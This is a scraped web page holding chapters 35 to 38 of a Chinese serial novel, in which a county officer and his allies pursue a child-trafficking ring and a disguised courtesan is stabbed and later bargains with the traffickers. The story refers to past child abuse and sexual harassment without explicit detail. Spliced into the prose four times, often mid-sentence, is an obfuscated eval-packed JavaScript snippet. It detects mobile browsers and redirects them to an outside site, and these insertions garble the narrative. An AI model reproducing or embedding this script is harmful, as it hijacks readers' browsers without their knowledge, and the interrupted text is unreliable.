令狐朝正在舀鱼汤的手一顿:“我是男狐狸精?你倒是会梦。稚言,我现在好奇你是出于什么目的才排了那出戏。” “我说是可以说,但你不能打我。”柳晏起身坐到了对面宋准身边,这才接着讲,“其实,惟衡也算误打误撞地蒙对了,那个书生确实是我,你也确实是那个男狐狸精。但我可没有别的意思啊,我就是……我喜欢你,我也喜欢和你们在一起,所以就想把我的想法编出来排成戏来看看。” “好,好得很。”令狐朝被气笑了,“我也是当上狐狸精了,啊?” “不是你想的那个意思,戏文来源于生活嘛……对吧?”柳晏试探着接着说道,“我一开始的想法确实是这么来的,但是到后面已经不完全是那样了,我要是真像你想的那样,那我在戏里,不早就把你吃干抹净了……” 说到后面他的声音越来越小,低着头假装很忙的样子,令狐朝看他那可怜兮兮的模样,也只好无奈地笑了笑。 35.意外 这雨淅淅沥沥地下了一天,路上有不少积水,混着车辙变成一滩泥泞,吟兰苑后院墙角的竹子下面长出许多笋,不过半日就长得比人还高,柳晏看了有些遗憾地说:“还以为能趁新鲜挖几个尝尝呢,一眨眼就老了。” 下雨没处消遣,吟兰苑下午便开始接客了,有几个看着财大气粗的男人,指着花牌点名要小蛮伺候,伙计推辞说小蛮身子不适,但那几个男人不依不饶的一定要小蛮来,柳晏便只好去梳妆打扮。 他一边往脸上施妆,一边念叨着:“哎,人在江湖身不由己啊,伺候老男人的心理创伤,得抱着晦言睡觉才能治好。” 长发盘成了垂云髻,戴了几朵牡丹花,一支孔雀翎坠红玉珠的步摇插在发间,额上贴了花钿,画了对弯月眉,艳红的口脂点在唇上,越发看不出他本来的模样。 令狐朝坐在边上看着他:“抱着我睡觉?合着你伺候老男人,我伺候你是吗?” “哎,怎会,你愿意的话我也可以伺候你啊,不收钱。”他转过头眨眨眼,十分俏皮地笑着,在颈间系上条寸宽的丝带,穿上了一身水红的裙子,妖艳非常。 柳晏对着镜子满意地点了点头,后对他们二人说:“好了,我要去出卖色相了,你们待在这儿别乱跑啊,等我回来。” 待他回来,已经是两个时辰之后,天都已经擦黑。 门一推开,二人便都向门口看去,白兔搀着柳晏,他身上披着件大氅,发髻有些散乱了,颈上的丝带不知所踪,即使在严妆下,也能感觉到他此刻面色极差。 “怎么了这是?”令狐朝冲上去问,扶住了柳晏的另一边胳膊。 柳晏按住了白兔的手,阻止他说话:“没事,我去…躺一会儿就好。白兔,你…去外面看着吧,这里有晦言,没事的。” 白兔松开手,十分不放心的一步三回头离开了,关上了门。 “怎么了这是?接个客怎么弄成这样了?”令狐朝语气里有些责备,但还是把他扶到榻上躺下,宋准蹲在一侧,紧皱着眉。 柳晏扯出个很勉强的笑来:“发生了点争执,我…藏拙了,没想到险些被……被…咳咳咳……” 令狐朝探上他的脉,眉头一蹙,“你这身子怎么差成这样了?怎么回事儿?伤到哪儿了,给我看看。” 他解开襦裙和里衣的束带,露出胸膛来,宋准双眼立刻就瞪大了——他胸前有好几道已经愈合的旧伤疤,身上还有好几片青紫的伤痕,左肩上系着一块被血浸透的帕子,解开来,是一条寸长的刀伤。 “你这简直是胡闹!你有什么好藏拙的?这天底下谁来了你打不过?啊?你把你自己的身体当什么?你还要不要这条命了?!”令狐朝气极,不住地数落他,“你这儿有药吗?在哪儿放着?” 柳晏伸出手指了指衣柜:“在…柜子里面的…抽屉。那伙人,和三槐堂有关,我不能…打草惊蛇…否则,咳…你们就……前功尽弃。” “什么?!”令狐朝和宋准异口同声喊出一句,都没想到这伙人居然敢在这种时候送上门来。 令狐朝已经从柜子里找出了那些伤药,拿到榻边查看用法。 “我之前不是说,我从客人那里顺了些…曼陀罗吗,就是他们,他们是给…给三槐堂做事的,出手阔绰,我…啊!疼疼疼疼!” 令狐朝将一个小瓶子里的药粉撒在了伤口上止血,柳晏没防备,疼得大叫,眼泪顺着眼角滑下来,抽噎了两声哭了起来。 “现在知道疼了?刚才不是还逞英雄吗?”令狐朝用干净的麻布将他的伤口包扎起来,伸手给他擦了擦眼泪,“好了好了,这么大的人了还怕疼,别哭了,我在呢。” 柳晏咬着嘴唇,整个人哭得一抽一抽的,好容易平复下来,才断断续续地讲方才发生的事情。 那几个男人长得五大三粗一脸凶相,起初只是点曲子听,曲子唱完,又要对赋作诗,也给了不少打赏,慢慢图穷匕见,才说明了他们的来意。 原来这伙人是知道吟兰苑如今被小蛮接管了,便想要来同她商议继续从前的雏伎买卖生意,所得五五分成。 小蛮想从他们口中套话,便假意应允,但他们坚持要小蛮在协议上签字画押后才肯商议那些细节,她刚露出些想拒绝的神色,其中一个男人便拿出刀来抵在她脖子上威胁,想要灭她的口。 丝带被利刃勾断,颈上旧伤不易被划破,挣扎间,刀尖便刺入了她肩头。 “不过…你们放心,他们不知道我是男子,也…不知道我和你们的关系……一会儿,我把他们的模样画下来,惟衡……你尽快去抓人。” “先别说这些了稚言,你的伤要紧。”宋准说。 令狐朝又拿了药油替他揉开身上的淤伤,他疼得直流眼泪,却咬着牙一声不吭。 宋准看到了他腰上那片蛾的刺青,半个手掌大小的一只蛾,许是年岁久了,线条的边缘已经有一些晕开。 “好……好了,晦言,帮我拿纸笔来。”柳晏挣扎着要坐起,却被令狐朝摁了下去,他有些困惑地问,“怎么了?我没事的,画了像惟衡好去抓人啊。” 令狐朝说:“你这全身经脉多处都不通,五脏六腑都有毛病,能不能爱惜点自己的身子?况且这都入夜了,惟衡怎么抓人?” 柳晏有些心虚,偏过头去用手拭泪,不再看他,也没说什么话。 “我给你写几个方子,接下来半月给我按方子吃药调养,年纪轻轻的就把自己身子折腾成这样,是看准了没人要你养老送终了?”令狐朝一边说着,一边去案上拿记簿,写了两张方子撕下来出门去交给了白兔。 “白兔,按这两个方子去各抓三副药,稚言的身子到底怎么回事儿?这些年他都干什么了?” 白兔有些犹豫地说:“前辈,我……楼主不让我说,你还是去问他自己吧。” 说完他一溜烟跑了,消失在回廊尽头。 柳晏在榻上有气无力地哼唧:“嗯……晦言,你回来,晦言……” “你还好意思叫我?说说吧,你这身子到底是怎么回事?”令狐朝关上门走进来,扯过妆台前的凳子坐在了榻边,盯着柳晏的脸。 柳晏侧头看看令狐朝,又看看宋准,支支吾吾地说:“就……前些年争楼主的时候,遭人暗算了,被下了药……” “什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570851|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药?” “一定要说出来吗?”柳晏垂下眼,躲闪着令狐朝的注视,令狐朝伸手把他脑袋掰过来,强迫他看着自己:“说。” “就是……一些混了依兰花的毒。” 令狐朝听了就是一皱眉,有些愤怒地呼了口气:“谁想的这么刁钻的手段?下毒的人呢?处理掉了吗?” 柳晏看他那副模样,轻声笑了笑,说:“你瞧我都已经是楼主了,那人自然是处理掉了。” “光下毒还不够,还要用依兰花使人情动以致血脉贲张毒素游走更快,你也是命大,还能活到现在。”令狐朝皱着眉又去在记簿上写方子,要清这些余毒,总得要多日施针和药浴,否则都是治标不治本。 “不是我命大,是你救了我。”柳晏看着他说,“还记得你以前给我的救急丹吗?我一直没舍得用过,那次中了毒,感觉快要不行了,才拿出来,想着死马当活马医,没想到就这样活下来了。” 令狐朝拿笔的手顿住了,转头去看他,他说:“所以,我这条命,就是你给我的。” “好了,别说话了,一会儿把药喝了,再去画你那画像。” 柳晏又笑了笑,对宋准说:“你看他还不好意思了呢。” 宋准看了令狐朝一眼,又转头对柳晏道:“稚言你也是,这么大的事儿为何不早说呢,若是这余毒不清尽了,不也是你受罪?” “我也不知道啊,我没觉得身上哪里不舒服,我以为我早就好了。” 令狐朝写完了药方,坐回榻边,仔细检查了他身上的伤,肩上伤口的血已经止住了,身上的瘀伤也散了一些。 门外有人敲门:“楼主,前辈,药抓回来了。” 是白兔。 柳晏说了声:“进来吧。” 白兔一只手里提着药,另一只手上拎着个不小的食盒,一并放在了桌上:“前辈,药按方子都抓好了,我方才让厨房做了些吃食,想着你们都还没用晚膳,就一起带过来了,不知道合不合你们的胃口。” “好小子,什么时候学得这么机灵了?”柳晏撑着身子坐起,往桌上看了看,又问,“你是不是也没吃晚饭呢?快回去吃吧,别饿着自己。” “是。楼主,前辈,宋县尉,属下告退。”白兔向他们一一行了礼之后便关上门出去了,廊上传来了欢脱的脚步声——到底还是个少年啊。 令狐朝过去打开食盒端出里面的饭菜,都是清淡的菜式,还冒着热气。 宋准搀着柳晏下床,坐在了桌边,他的发丝有几缕垂到脸上,被他别到了耳后去。 简单吃完了饭,令狐朝便去厨房煎药了,柳晏把那几个男人的样貌都画下来交给了宋准,嘱咐道:“这个,这人侧脸上有条疤,看着是他们的头儿,这个瘦了吧唧两颊凹陷的,在他们几人里说不上话,多半就是个打杂的,过来虚张声势。” “刺伤你的是哪一个?”宋准问。 柳晏翻着记簿指向那个络腮胡:“就这个头头,我听其他人管他叫大哥,说话颠三倒四的,估计是喝了假酒了。” “你倒是还有心情说笑,来把药喝了。”是令狐朝回来了。 36.买家 令狐朝是直接带着药罐子回来的,盛了一碗递给柳晏:“这碗喝尽了再喝一碗。” “啊?喝这么多?我会死的。”柳晏扁着嘴,十分委屈,“喝一碗不行吗?” “那就现在喝一碗睡前再喝一碗,你的身子不下点猛药好不了。”令狐朝的语气不容置疑,柳晏也只好听他的话。 那药极苦,捏着鼻子硬灌下去,眼泪都要出来了。刚放下碗,令狐朝便往他嘴里塞了块果脯,摸摸他脑袋说:“好了好了,别哭啊。” 哄孩子似的,却对柳晏格外有用。 他吃完了一伸手:“还有吗?怪好吃的,再给我两块儿。” “喏。”令狐朝从怀里掏出那一包果脯来都放在了他手上,“省着点儿吃,睡前还得喝一次药呢,吃完了你就苦着吧。” “惟衡你也尝尝。”柳晏拿出一半来塞到了宋准手里,露出个很好看的笑来。 又再稍坐了会儿,宋准便起身准备告辞了,说是明日又要点卯,有不少公务要处理,若还留宿吟兰苑,传出去怕是不太好听。 宋准是从暗道离开的,天上还飘着些雨,在暗道出口等候的伙计点了灯笼,送他出了角门。 次日一早,宋准收拾完去衙门点了卯,带着陈捕头和另两个捕快去市集巡逻,细雨还在下,穿蓑衣戴斗笠显得整个人都笨重了许多,街上也没什么人。 协查文书和画像都一并送去了州府和周边各县,通缉令也一并贴了出去,不过为防打草惊蛇,通缉令上所书罪名为行凶伤人,而并非拐卖孩童。 传回消息还需些时候,宋准便打算巡完市集再去一趟染坊巷,看看那个三槐堂究竟是怎么回事。 一天一夜的雨,让巷口那条水渠的水都涨上来不少,也有些浑浊,水底的水草全然不见,石桥上新长了不少青苔,有些滑脚。 三槐堂大门紧闭,陈捕头上前去叩门,许久都无人应答,宋准知道这样下去不是办法,不能总是在被动地等他们回来,于是他便叩开了三槐堂隔壁那间铺子的门。 “店家,店家。”宋准叫道。 一个精瘦的男人来开了门,见到宋准一行人,有些困惑地问:“呃…是县尉吗?有何事?” “你家后院和三槐堂是隔一面墙吗?”宋准问。 “哎,是,不过那墙啊,高得很。”男人说。 “可否让我等进去查看一下?” 男人略思索了一下,同意了,便将他们一行人迎了进去,带到了后院处。 宋准看到那高墙,就觉得不对劲,没有谁家会把院墙修到二层楼高,何其蹊跷,那墙上还十分光滑,墙头上还立着些碎瓦片,就差写明了怕人翻墙进院了。 “这三槐堂平日里有什么奇怪的动静吗?” “没有吧,他们这铺子自开张就没开过几天门,也不知道是因为啥。” 宋准观察了一下男人家的院子,看到前堂二楼的窗户有开向墙边的一扇,便提出去二楼看看,男人同意得很干脆,带着宋准一行人上了二楼。 二楼是他们一家人平日里起居的地方,临安城里的商户大都是如此,前店后居或者下店上居,方便平日里做生意。 宋准脱掉蓑衣和斗笠,从那扇窗户爬出去,攀住房檐借力向上爬,上了屋顶。 这下便能看到三槐堂院里的样子,瞧着是平平无奇,和普通人家的院子没什么两样,院子中央一口井,上面盖着个木制的盖子,边上有棵桂花树,角落那处似乎是个地窖的入口,看着有些可疑。 宋准又仔细看了看院中格局,盘算着要从哪边跳入跳出,两侧都是高墙,墙边没有任何杂物,屋顶的封火山墙也几乎杜绝了从屋顶翻出的可能性,这可怎么办? 雨虽然不大,这一会儿也将他肩膀淋得湿透,高处风一吹,忍不住打了个哆嗦,只能先回去,等雨停了再来。 宋准攀住屋檐跳进了屋里,陈捕头连忙问:“县尉,如何?” 宋准摇了摇头,说:“墙太高,跳进去很难借力出来,等雨停了带绳子过来再看看。” 他又对这店家道:“多谢老板了,还请不要将今日之事宣扬出去,恐扰乱民心引起恐慌,官府出公告前,还请守口如瓶。” “哎,是,小人明白。”店家点头答应着,将他们带下楼,送出了门。 在街边饭铺随意吃了些东西,宋准回到衙门去整理案宗。 三槐堂的运作似乎有一套完整的框架,有人负责拐骗,有人负责购买,有人负责与吟兰苑谈生意,或许还有人联络买家。 难道从前的老鸨就是联络买家的人不成? 老鸨在吟兰苑里,很容易接触到有钱有势的客人,又因吟兰苑不做皮肉生意,老鸨便可趁机将那些雏伎推销出去。 想到了这一点,宋准便准备去吟兰苑一趟,柳晏定是知道哪些熟客问过这种生意的,老鸨的遗物里可能也还有线索可以利用。 从暗道里直接进了柳晏房间,柳晏正躺在床上翘着腿哼着小曲儿,手上拿着个木雕的鹰飞来飞去,见宋准来了,他十分欣喜,坐起来说:“惟衡,怎么这个时候来了?快坐。” 宋准坐在了他妆台前的凳子上,说:“我今日又再去了趟三槐堂,从他们隔壁的店家屋顶上看了里面的格局,但那墙太高,我没把握进去之后还能再翻出来。” “没关系,我去就好了,多高的墙我都能出来。” “不是,我是想到了三槐堂的生意,他们搞得这么严密,肯定分工也很明确,老鸨从前可能就是负责联络雏伎买家的,如果我们能找到一个买家,不就能顺藤摸瓜找到三槐堂的人了吗。现在他们神出鬼没的,几天了完全不见踪影,不能就这么一直等着,我们的处境也太被动了。” 柳晏歪头思索了片刻,说:“找买家啊,那我知道有一个人。你还记得你之前让随捕快一起来叫我的那个伙计吗?他是从前老鸨的亲信,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574413|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在还在吟兰苑里做事,他肯定知道些什么。” 正说着,房门从外面被推开了,令狐朝端着药罐子进来,看见宋准在,也有些欣喜:“你怎么这么早就来了?” 宋准又将自己的推断同他讲了一遍,他若有所思地点点头,说:“不失为一种可行的法子,稚言,你让人把那个伙计叫来问问。” “让白兔去叫吧,白兔呢?”柳晏下床开了门,对着廊上喊了声,“白兔!” “哎!楼主我在!”少年的声音从楼上传来,随后一个身影一跃而下,站在了柳晏面前,“楼主有什么吩咐?” “你去把那个叫赵什么什么的伙计叫来,我有话要问他。” “楼主说的是赵九成?” “对,就是他,把他叫来就行。” “是,我这就去。” 柳晏刚转身回房里,令狐朝就端着药碗说:“过来把药喝了,已经不烫了。” “还要喝多久的药啊?”柳晏一脸不情愿,挪到桌边,像是下了极大的决心,才端起那碗药来一饮而尽。 令狐朝又是一块果脯塞进他嘴里,说:“少说也要半个月,一日三次。你要是恢复得好呢,可能就少喝几天,看你身子争不争气了。” “啊啊啊啊啊啊!”柳晏直接趴桌子上懊恼地叫起来,“早知道会这样就应该早些去看大夫的,都怪你,晦言,你怎么不早关心关心我的身子?才见面就喂我吃断肠散,后来又给我下哑药,我身子坏了你也脱不了干系。” 令狐朝无奈地笑了笑,揉了揉柳晏的脑袋:“好,都怪我。不是跟你说没有断肠散那种东西吗,就是颗甘草丸罢了,哑药不也都给你解了。” “过分。”柳晏起身躺回了床上,动作太大不小心扯到肩膀的伤口,又立刻弹了起来。 宋准坐在凳子上思索着,许久,开口问道:“我在想,若是那个伙计什么都不知道,或者他知道,但是什么都不说,我们该怎么办。” 柳晏一听这话立刻来劲了:“不说?那就让他见识见识鬼樊楼的手段,死人嘴里都得给我撬出话来。” “哎哎哎,现在是在替官府办事情,你那江湖手段还是收一收。”令狐朝说。 “啧,晦言,你怎么能这么说,什么叫江湖手段,我这说的不是万一他不招才这么办吗。” 说着话,门外传来了白兔的声音:“楼主,人已带到。” 柳晏立刻坐直了身子说:“进来吧。” 白兔带着那赵九成进了屋,关上了门。赵九成看着这屋子里的人,心里像是立刻就有了数似的,没等柳晏问什么,他便忙不迭跪下说:“楼主,小人一定知无不言啊。” 宋准看他那副样子,没来由地觉得有些厌恶,转头看看柳晏,他仍是面无表情,就那么静静地看着赵九成,许久,他才开口问道:“知无不言?你知道我要问你什么?” “不管楼主问小人什么,小人都知无不言。” 37.以身入局 赵九成跪趴在地,战战兢兢应道:“楼主问小人什么,小人定都知无不言,言无不尽。” “行,那我问你,你给从前的老鸨干活,能拿多少分成?” “啊?”赵九成有些疑惑地抬头,不知道柳晏说的是什么,“小人一个月的工钱就是五贯出头,并未有什么分成啊……” 柳晏冷笑了一声:“我是说,老鸨的雏伎生意,你知道多少?” “这这这……小人…小人确实不知……” 宋准听到这里面色已经渐渐凝重起来,柳晏对白兔使了个眼色,白兔便开门离开了,过了一会儿,他带着些账册回来,递到了柳晏手上。 他翻开其中一本,让白兔拿过去放在了赵九成面前,赵九成看着那账册上的内容,额上冒出了一层汗,立刻磕头道:“我说我说。老鸨的生意,是和三槐堂做的,我们只需要寻找买家,再把他们引荐给三槐堂,便能得到不菲的报酬。” “买家都有谁?”柳晏问。 “有……有不少人,但小人只知道一个永昌柜坊的钱员外,他是…是常客。” “还有呢?” “还有的小人便不认识了,从前老鸨去跟买家谈,我最多就是打个杂,端茶倒水什么的,也就是钱员外来得多些,我才认识了……” “那这么说,其他买家你也见过?” 赵九成微微抬头向上看了一眼坐在床上的柳晏,有珠帘的遮挡,他并不能看得完全,却感觉柳晏的目光像是穿过珠帘直击他命门一般。 “小人也只是见过,却并不认识他们……” 柳晏有些不耐烦了,对白兔扬了扬下巴,白兔会意,问那赵九成:“那你是如何认识钱员外的?” “小人不敢隐瞒,是有一次,我送客出去时,听到他身边的侍从唤了一声,那一声虽轻,但我听清楚了。旁的买家来,是断不会叫阁内任何人知晓他们的身份名姓的,所以小人是真的不认识旁的买家。” 白兔走到了他面前,又问:“那既然这样,这生意是如何成交的?其间的流程你可清楚?” “这……老鸨在客人点了伎子时,会让姑娘们带去一封信,那信里写的就是交易的黑话,懂的客人自然就会找到老鸨相谈,不懂的客人也看不出什么端倪来。” “还有呢?” “再多的小人就真的不知道了啊,剩下的就不是在阁里的交易了。” 柳晏这时才又说话了:“行了,下去吧,回去给我把嘴巴闭紧了,对谁也不能提起。” “是!是!小人明白,小人明白。”赵九成站起身逃也似的离开了屋子,白兔转过身问道:“楼主,那我?” “你回去休息吧,需要你的时候我再叫你。” “是,属下告退。” 白兔刚一关门离开,柳晏就向后一倒,说:“什么鬼东西啊,我就说之前为什么每次接客都要带封信去,原来这也是他们交易的一环,真是恶心。” 宋准问他:“你就没看过那信的内容吗?” “看过啊,里面就是写的些什么几月迎春桂花连银翘几只青鸟飞鸾成双对的,不知所云,谁知道是那种意思,实在是恶心。” 令狐朝在一旁想了想说:“如果这是交易的黑话,那可能几月就是说是几岁的孩子,花是女孩儿,鸟是男孩儿,专供那些有特殊癖好的客人。” 柳晏听了这话,身上像是僵住了,声音变得有些沙哑:“一年也就十二个月,难道最大的孩子,也不过十二岁吗?” “恐怕是。”宋准说,“失踪孩童的案宗里,最大的孩子也就八九岁。” “八…九岁吗……”柳晏的声音已经有些颤抖,脸色变得有些苍白,他向令狐朝伸出手,像是溺水的人伸向仅有的一块浮木,挣扎着坐起身,“晦言,晦言……” 令狐朝意识到了什么,从矮塌上冲过来,握住了他的手,任由他抱住了自己。 宋准看到这一幕有些愣住了,听到了柳晏有些压抑的哭声,他肩膀颤抖着,令狐朝用另一只手安抚地拍着他后背,轻声说:“没事了没事了,我在呢。” 令狐朝转过头对宋准用口型说了个“没事”,继续拍哄着柳晏,像在哄孩子。 宋准隐约猜出了些什么,那些喜欢娈童的人,是会更喜欢长相漂亮阴柔的男孩子,从前在鬼樊,柳晏很可能也遭受过同样的虐待。 许久,柳晏的情绪才平复了些许,他把自己缩成一团,坐到了床的角落里,用被子把自己裹了个严实。 令狐朝把床帏解开拉上,带着宋准坐到了榻上,给柳晏自己平复的空间,宋准试探性地压低了声音问:“稚言是从前也……” 令狐朝点了点头,说:“他那时也就八九岁,险些没挺过来,他恨透了那些人,很久没有开口说过话,直到我们把那些人全杀了,他才慢慢好起来。” 说完,令狐朝回头看了一眼床的方向,床帏拉着,其实是什么也瞧不见的,里面的人也没有发出任何声音,像是睡着了。 这时,门外又传来白兔有些焦急的声音:“楼主,楼主,那伙人又来了,说是一定要要见小蛮,属下拦不住。” 帷幔里,柳晏深吸一口气,说了声:“知道了,带他们去一楼等着。” 他拉开了床帏,光着脚踩在了床边的踏道上,没穿鞋,走到了妆台边,叹了口气开始盘发施妆。 令狐朝问:“他们怎么还会来?” “不死心吧,他们又怎么会放过吟兰苑这块肥肉,况且,通缉令都贴出去了,自然要来找我算账的。” 柳晏的语气十分平静,听不出什么情绪,仿佛并不把那些人当回事。 “这次若他们再提起这档子生意,我会同意,然后问出那些孩子被囚禁的地点,惟衡,到时候可能需要你来扮一下买家。” 宋准点点头说:“好。你一定要小心,万一他们不怀好意,你也不必客气,千万不要伤到自己,若是出了事,我会想办法解决。” 柳晏也点点头,很快装扮完毕,脱了里衣光着上身走到衣柜前翻找着衣裳,隔着珠帘,宋准也看见他身上那些深深浅浅的旧伤,狰狞地盘踞着。 他拿出条月白的裙子穿上,又披了件白色的外衫,正是宋准第一次来吟兰苑时他穿的那身衣裳,发髻上簪了朵绢花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刀疤脸看着她脖颈胸膛上露出的皮肤,透白外衫下若隐若现的肩头,咽了口口水。 “老规矩,先签单,再详谈。” 他拿出一张契书放到小蛮面前,使了个眼色,旁边的大鼻子就拿出了印泥和笔墨来放在了桌上。 “贵客既然是第二次邀我入伙,我岂有坐观的道理?我签便是。”说着,小蛮以左手执笔,在那契书上签上了“萧小蛮”三字,又再摁上手印。 刀疤脸一眯眼,抬眼死盯着小蛮:“你姓萧?” “是,我是西凉人。”小蛮用看傻子似的眼神看着他,说,“怎么了,我连这都告诉你们了,还不够有诚意吗?契书我签了,可以回答我的问题了吧,要是你们那边出了岔子,怎么办?” “这你就不用担心了,你这破青楼让稽查十次,我们的生意也出不了岔子。不过……”刀疤脸的眼神开始不安分地望向小蛮的脸和胸口,“你既是这楼里的主人,不如也让我们兄弟尝尝,也不浪费了你这张好面孔,啊?嘿嘿嘿……” 38.又见玉蝉 刀疤脸向小蛮挪近了些,俯身贴近了她颈侧,深吸一口气,哑着嗓子说:“好香啊,是为了见我们兄弟几个,特意打扮的?” 湿热黏腻的气息打在颈侧,小蛮强忍着恶心低头看他,露出个十分疏离的笑:“吟兰苑不做皮肉生意,否则我也不需要与你们做这档子交易。今日你们若强要了我,明日吟兰苑就会变成真正的娼妓馆,你猜猜,你们那见不得光的生意,还能做几日?” “呵,臭婊子。”刀疤脸向边上啐了口,站起身扔给她一个小木匣,说,“联系好了买家,每月初九有人会来带去验货,以这盒子里的东西为凭据,认物不认人。” 说完他收起契书,带着那两个小弟走了,临走前那个秃头还回头狠狠剜了小蛮一眼,似是警告她。 直到完全听不到廊下的脚步声,柳晏才扶着桌角干呕起来,不慎碰掉了桌边的茶杯,发出碎裂的声响,白兔从外面冲进来问:“楼主!楼主你怎么样?” 柳晏紧闭着眼,耳边不住地传来嗡鸣声,强撑着摆摆手,说:“我没事,没事……扶我回去。” 白兔扶着柳晏回到二楼,刚一听到脚步声,令狐朝就过来开了门,看着柳晏又是被搀扶回来的,吓得上前就要掀他衣服。 “怎么了怎么了这是?哪受伤了?” 柳晏靠在白兔肩上,笑笑说:“没有,身上没事。回去吧白兔,有事我再叫你。”说完他又攀住了令狐朝的肩头,推着他进了屋。 “身上没事,可是心里难受。”柳晏说着,拉住令狐朝的手摁上自己胸口,“你摸摸,像针扎一样难受。” 令狐朝只摸到了他胸前的软垫,收回手,“你这垫子太厚了,摸不到什么。”说完他探向柳晏的腕间:“五内郁结,是被吓到了?说说发生什么了。” 柳晏叹口气,坐到矮塌上,宋准坐在另一边静静看着他,方才柳晏去应付那伙人的时候,令狐朝又同他讲了些他们从前的事,听得宋准一阵胆寒,他现在对他们只有钦佩。 “事儿谈成了,初九带客验货,给了我这个,说是交易凭据。”柳晏将那个小匣子放在桌上,又叹了口气。 “别叹气了,福气会叹没的。这里面是什么?”令狐朝说着就将那匣子打开,在看到那里面的东西时,整个人都愣住了。 盒子里柔软的锦缎上,赫然是一枚通体透亮的玉蝉! “玉蝉?!”宋准也看见了,惊得起身凑近了仔细观察,生怕是自己眼花,“怎么又是玉蝉?难道三槐堂是九曜的产业?那这案子还会又像上次那样被叫停吗……” 他不敢细想,往深处多想一分,就觉得暗处的眼睛多了一双。 令狐朝将那玉蝉拿出来,对光看了,蝉腹中没有发丝粗细的银针,蝉翼上的刻纹也是连贯的,并没有像官盐走私时所用玉蝉的蝉翼那样,是不规则的点和线。 “不太一样。”令狐朝说,“你看这蝉翼,还有这蝉腹两侧并没有能按动的机关,尾部也没有针孔。和从前的那两枚玉蝉都不一样。” 宋准接过来仔细看了,确实如令狐朝所说,而且拿在手里的分量似乎也略轻些。 他看向柳晏,问道:“稚言,你知道九曜的玉蝉吗?稚言?” 柳晏正盯着面前那杯茶水发愣,听到有人唤自己,像是被吓到了似的浑身抖了一下,才呆愣愣回神看过去:“啊?什么?” “问你知道玉蝉是怎么回事吗。”令狐朝将玉蝉放到他面前,“你之前不是说,你和九曜打过交道,这玉蝉和我们手里那两枚九曜的信物玉蝉十分相似。” 柳晏又开始盯着那玉蝉,拿起来看看,又放下,也没说什么话。 “嗯?怎么样?”令狐朝又问。 “啊?”柳晏呆愣愣的,好像全然没有在思考什么,茫然地看着面前的两个人,“怎么了?你们说什么?” 令狐朝眉头一皱,有些疑惑地歪了下脑袋,凑近了看柳晏的眼睛,清澈的,茫然的,呆滞的,他问:“怎么了?晦言?” “玉蝉,九曜,你知道是怎么回事儿吗?” “这个啊……知道一点,不过都是些小道消息,是不是真的还两说,更别说准确了。” “你先说说是什么。” 柳晏露出了个奇怪的表情,撇了撇嘴说:“真要听啊?那消息可野了。” “说。”令狐朝几乎要咬牙切齿了。 柳晏招招手压低了声音说:“九曜斋不是当今二皇子创立的嘛,说那东西表面上是个文人墨客交流风雅的,其实就是一群有龙阳之好的男人凑在一起互相……然后这个玉蝉嘛,分阴阳,持阳蝉的是……的一方,持阴蝉的自然就是……” 他用手势比划着那些没说出来的词儿,不需要会鬼樊的手语,宋准也看懂了那是什么意思,实在是够浅显,想不看懂都难。 令狐朝闭了一下眼睛,一脸吃了苍蝇的表情,柳晏看他那模样,没忍住笑出声来:“我说了这消息很野的,是你让我说的啊。” “那你这也太野了点吧,你不是说和他们交过手吗,你看那些人像是龙阳吗?” “我怎么知道,差点命都没了,还顾得上看他们喜欢的是男人还是女人?不过,他们真的个个不好惹。你想想,二皇子的母妃是程氏家族出来的,就连当今吏部尚书也是程氏的门生,将来若到了立储的时候,程氏,程氏的附庸,再加上朝中一些看似中立却没什么根基的,都会往二皇子那边倒,数年前九曜的势力就已经不小了,更何况是现在。” 宋准越听表情越凝重,九曜是不是一群龙阳组成的都不重要,如今眼前的事实是九曜在做一些暗里非法敛财的勾当,并且可能还会随时推出替罪羊来强行结案,让真凶逍遥法外。 “所以,接下来你们预备怎么办?”柳晏问。 宋准很快下了决心,说:“还按一开始说的办,继续查,要把丢了的孩子都找回来,就算不能把九曜推翻,也得将那些买家一一罚了,若不是有买家的需求,他们哪里做得成这种生意?” “好,不过此事急不得,离下月初九还有不到二十日,这些日子,我们需要做个周密的计划。”令狐朝拍了拍他的背,十分坚定地看着他,“你放心,我和稚言都站在你这边。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588372|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 